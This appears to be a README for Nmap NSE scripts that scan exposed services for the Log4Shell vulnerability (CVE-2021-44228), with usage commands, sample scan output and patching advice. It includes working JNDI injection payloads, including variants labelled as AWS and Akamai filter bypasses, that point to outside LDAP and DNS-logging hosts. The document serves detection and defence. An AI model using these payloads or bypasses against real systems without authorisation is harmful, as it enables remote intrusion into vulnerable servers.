Nmap NSE scripts to check against log4shell or LogJam vulnerabilities (CVE-2021-44228). NSE scripts check most popular exposed services on the Internet. It is basic script where you can customize payload.
Note that NSE scripts will only issue the requests to the services. Nmap will not report vulnerable hosts, but you have to check DNS logs to determine vulnerability. If you do not specify payload manually, NSE scripts will use dnslog.cn by default. That means requests will be seen by dnslog.cn.
Position to directory where these scripts are located and issue following commands (Nmap will retrieve dnslog.cn automatically).
On Linux:
cd nse-log4shell
nmap -sV -T4 -v --script=$PWD/ scanme.nmap.org
On Windows:
cd nse-log4shell
nmap -sV -T4 -v --script=%cd%/ scanme.nmap.org
new patch bypass on v2.15.0 (CVE-2021-45046), thanks to @marcioalm (tweet):
${jndi:ldap://127.0.0.1#{{target}}.xxx.dnslog.cn:1389/a}
AWS bypass (thanks to @11xuxx - tweet):
${jnd${123%25ff:-${123%25ff:-i:}}ldap://mydogsbutt.com:1389/o}
Akamai bypass (thanks to @ozgur_bbh - tweet):
${jndi${123%25ff:-}:ldap://HOST:PORT/a}
Windows Example (Thanks to @ZedFuzz) - note how to escape the quotes:
nmap -v --script=http-log4shell,ssh-log4shell,imap-log4shell "--script-args=log4shell.payload=\"${jndi:ldap://{{target}}.xxxx.dnslog.cn}\"" -T4 -n --script-timeout=1m scanme.nmap.org
Go to http://github.com/kost/logdns and get DNS server. Get domain and point to the somewhere where you have installed logdns:
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.logdns.xxx}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN
Go to http://dnslog.cn/ and Get SubDomain. Replace your xxxx with your SubDomain:
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.dnslog.cn}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN
Take your domain from Burp collaborator and replace xxxx with your domain:
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.burpcollaborator.net/diverto}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN
By help of CanaryToken (https://canarytokens.org/generate#)
Take your Token from CanaryToken and replace xxxx with your domain:
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell '--script-args=log4shell.payload="${jndi:ldap://x${hostName}.L4J.xxxx.canarytokens.com/a}"' -T4 -n -pssh,imap*,http* --script-timeout=1m MY.IPs.TO.SCAN
Thanks to @saintz666
dnslog.cn have short sessions (around half an hour). There should be way to prolong the sesion to how long the scan takes. Also, sometimes DNS query happens much later than request received. Someone reported got DNS request hours after the request has been made. As workaround, nmap NSE scripts retrieve session after each host scanned.
Therefore, currently, for best assurance it is to use custom DNS domain with tool like logdns: https://github.com/kost/logdns
nmap -T4 -v --script=$PWD/ scanme.nmap.org
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-15 12:37 CET
NSE: Loaded 5 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.53s elapsed
Pre-scan script results:
| dnslog-cn:
| Domain: 2t722h.dnslog.cn
|_ Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
Initiating Ping Scan at 12:37
Scanning scanme.nmap.org (45.33.32.156) [2 ports]
Completed Ping Scan at 12:37, 0.18s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:37
Completed Parallel DNS resolution of 1 host. at 12:37, 1.18s elapsed
Initiating Connect Scan at 12:37
Scanning scanme.nmap.org (45.33.32.156) [1000 ports]
Discovered open port 80/tcp on 45.33.32.156
Discovered open port 53/tcp on 45.33.32.156
Discovered open port 22/tcp on 45.33.32.156
Stats: 0:00:23 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 56.00% done; ETC: 12:37 (0:00:16 remaining)
Discovered open port 9929/tcp on 45.33.32.156
Discovered open port 31337/tcp on 45.33.32.156
Completed Connect Scan at 12:37, 37.06s elapsed (1000 total ports)
NSE: Script scanning 45.33.32.156.
Initiating NSE at 12:37
Completed NSE at 12:37, 6.19s elapsed
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.18s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
9929/tcp open nping-echo
31337/tcp open Elite
Host script results:
| dnslog-cn:
| List of hosts responded: []
| Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_ If list is not empty, check hosts as they are potentially vulnerable
NSE: Script Post-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.50s elapsed
Post-scan script results:
| dnslog-cn:
| List of hosts responded: []
| Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_ If list is not empty, check hosts as they are potentially vulnerable
Read data files from: /usr/local/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 46.11 seconds
List of best fixes and workarounds.
Best solution to protect from CVE-2021-44228: update to log4j-2.16.0 or later.
Note that log4j-2.15.0-rc1 is not recomended any more since new vulnerabilities were found. Therefore, you should update to log4j-2.16.0 or later (thanks @ruppde).
Also, note that other recommendations like log4j2.formatMsgNoLookups set to true should be avoided.
It is best to identify log4shell vulnerability by looking at the local filesystem for log4j artifacts.
These NSE scripts should be used only for additional assurance. NSEs help in identifying vulnerable services, not vulnerable application. It can identify vulnerable application if it logs every request (including root /), not if vulnerability is hidden behind some login. You will need web scanner which crawls complete web for that.
You can check specific URI with following example:
http-log4shell.url=/my/application/uri
It will check via HTTP headers and cookie. If you need to check post/get forms. You should check http-spider-log4shell. Still, it is best to use web scanner with support for log4j.
Also note that DNS resolution with prefixes combination in a expression for log4j-core <= 2.7 seems not supported. So, testing with something like ${java:os} could lead to false negatives.
Therefore, better to have few false positives than negatives.
General references and links to the vulnerability
Reddit thread - General information about log4shell
NCC log4shell - operational information regarding the vulnerability (IOCs, mitigation, scanning, software)
BlueTeam CheatSheet Log4Shell - Security Advisories / Bulletins linked to Log4Shell (CVE-2021-44228)
Software List - cheat-sheet reference guide - Affected software list by vendor responses
Note that remote and online checks are useful as additional assurance or quick test. For additional assurance, it is recommended to scan locally files for known log4j signatures.
lo4shell.huntress.com - Online Log4Shell Vulnerability Tester
log4j yara - yara rules for local detection
identify-log4j-class-location.sh - Script to identify Log4J affected class for CVE-2021-44228 in a collection of ear/war/jar files
PoC-log4j-bypass-words - A trick to bypass words blocking patches
log4shell-detector - Detector for Log4Shell exploitation attempts
Log4Shell-IOCs - a list of IOC feeds and threat reports
log4j_rce_detection.md - You can use these commands and rules to search for exploitation attempts
log4j advisory - Apache Log4j Security Vulnerabilities
log4j pull request and comments - pull request that fixes bug with comments
Logout4Shell - Quick and dirty alternative to patching manually